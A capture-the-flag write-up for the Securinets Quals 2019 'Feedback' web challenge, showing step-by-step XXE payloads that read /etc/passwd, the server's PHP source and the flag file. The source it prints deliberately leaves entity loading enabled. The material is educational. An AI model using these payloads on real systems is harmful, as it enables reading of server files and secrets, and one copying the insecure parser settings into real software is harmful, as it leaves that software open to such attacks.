Securinets CTF Quals 2019 - Write-up

Table of contents
  1. 🔗Information
    1. 🔗CTF
  2. 🔗Feedback - Web

🔗Information

🔗CTF

🔗Feedback - Web

I created this website to get your feedback on our CTF.

Can you check if it's secure ?

Author:Tr'GFx

There is a basic form asking for name, email and feedback:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<div class="container-contact100">

<div class="wrap-contact100">
<form class="contact100-form validate-form" method="POST" onsubmit="func();return false;">
<span class="contact100-form-title">
Send Us A Feedback
</span>

<div class="wrap-input100 validate-input" data-validate="Please enter your name">
<input class="input100" type="text" name="name" placeholder="Full Name">
<span class="focus-input100"></span>
</div>

<div class="wrap-input100 validate-input" data-validate = "Please enter your email: e@a.x">
<input class="input100" type="text" name="email" placeholder="E-mail">
<span class="focus-input100"></span>
</div>

<div class="wrap-input100 validate-input" data-validate = "Please enter your message">
<textarea class="input100" name="feedback" placeholder="Your Feedback"></textarea>
<span class="focus-input100"></span>
</div>

<div class="container-contact100-form-btn">
<button class="contact100-form-btn">
<span>
<i class="fa fa-paper-plane-o m-r-6" aria-hidden="true"></i>
Send
</span>
</button>
<div id="Message" color="Blue" type="text"></div>
</div>
</form>
</div>
</div>

And this form call a Javascript function func():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function func(){
var xml = '' +
'<?xml version="1.0" encoding="UTF-8"?>' +
'<feedback>' +
'<author>' + $('input[name="name"]').val() + '</author>' +
'<email>' + $('input[name="email"]').val() + '</email>' +
'<content>' + $('input[name="feedback"]').val() + '</content>' +
'</feedback>';
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
console.log(xmlhttp.readyState);
console.log(xmlhttp.responseText);
document.getElementById('Message').innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("POST","feed.php",true);
xmlhttp.send(xml);
};

This function is creating a XML document and send it to feed.php.

The feed.php page is answering Thanks For you Feedback yourNameHere so let's check if it is vulnerable to external entities (XXE):

Request headers:

1
2
3
4
5
6
7
8
9
10
11
POST /feed.php HTTP/1.1
Host: web2.ctfsecurinets.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://web2.ctfsecurinets.com/
Content-Type: text/plain;charset=UTF-8
Content-Length: 198
Connection: close
Cookie: _ga=GA1.2.1117274185.1553375015; _gid=GA1.2.320874254.1553375015

Request body:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY example "noraj"> ]>
<feedback>
<author>&example;</author>
<email>we don't care</email>
<content>undefined</content>
</feedback>

Response headers:

1
2
3
4
5
6
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Sat, 23 Mar 2019 21:10:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 38

Response body:

1
<h4>Thanks For you Feedback noraj</h4>

The server reflected our external entity!

Let's ask for more!

Request body:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY doc SYSTEM 'file:///etc/passwd'> ]>
<feedback>
<author>&doc;</author>
<email>we don't care</email>
<content>undefined</content>
</feedback>

Response body:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<h4>Thanks For you Feedback root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
simple_user:x:1000:1000::/home/simple_user:/bin/bash
Debian-exim:x:102:102::/var/spool/exim4:/bin/false
</h4>

Now let's use a PHP filter in the XXE:

Request body:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY doc SYSTEM 'php://filter/convert.base64-encode/resource=feed.php'> ]>
<feedback>
<author>&doc;</author>
<email>we don't care</email>
<content>undefined</content>
</feedback>

Response body:

1
<h4>Thanks For you Feedback PD9waHAKbGlieG1sX2Rpc2FibGVfZW50aXR5X2xvYWRlciAoZmFsc2UpOwovLyR4bWxmaWxlID0gJF9QT1NUWyJ0YSJdOwokeG1sZmlsZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpOwokZG9tID0gbmV3IERPTURvY3VtZW50KCk7CiRkb20tPmxvYWRYTUwoJHhtbGZpbGUsIExJQlhNTF9OT0VOVCB8IExJQlhNTF9EVERMT0FEKTsKJGZlZWRiYWNrID0gc2ltcGxleG1sX2ltcG9ydF9kb20oJGRvbSk7CiRhdXRob3IgPSAkZmVlZGJhY2stPmF1dGhvcjsKZWNobyAiPGg0PlRoYW5rcyBGb3IgeW91IEZlZWRiYWNrICRhdXRob3I8L2g0PiIKCj8+CgoK</h4>

So once base64 decoded:

1
2
3
4
5
6
7
8
9
10
11
<?php
libxml_disable_entity_loader (false);
//$xmlfile = $_POST["ta"];
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$feedback = simplexml_import_dom($dom);
$author = $feedback->author;
echo "<h4>Thanks For you Feedback $author</h4>"

?>

I had to guess it was in ./flag.

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY doc SYSTEM 'php://filter/convert.base64-encode/resource=flag'> ]>
<feedback>
<author>&doc;</author>
<email>we don't care</email>
<content>undefined</content>
</feedback>

And if I don't want to base64 decode and being lazy I can ask for /proc/self/cwd/.

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY doc SYSTEM 'file:///proc/self/cwd/flag'> ]>
<feedback>
<author>&doc;</author>
<email>we don't care</email>
<content>undefined</content>
</feedback>

Thanks For you Feedback Securinets{Xxe_xXE_@Ll_Th3_W@Y}.

Share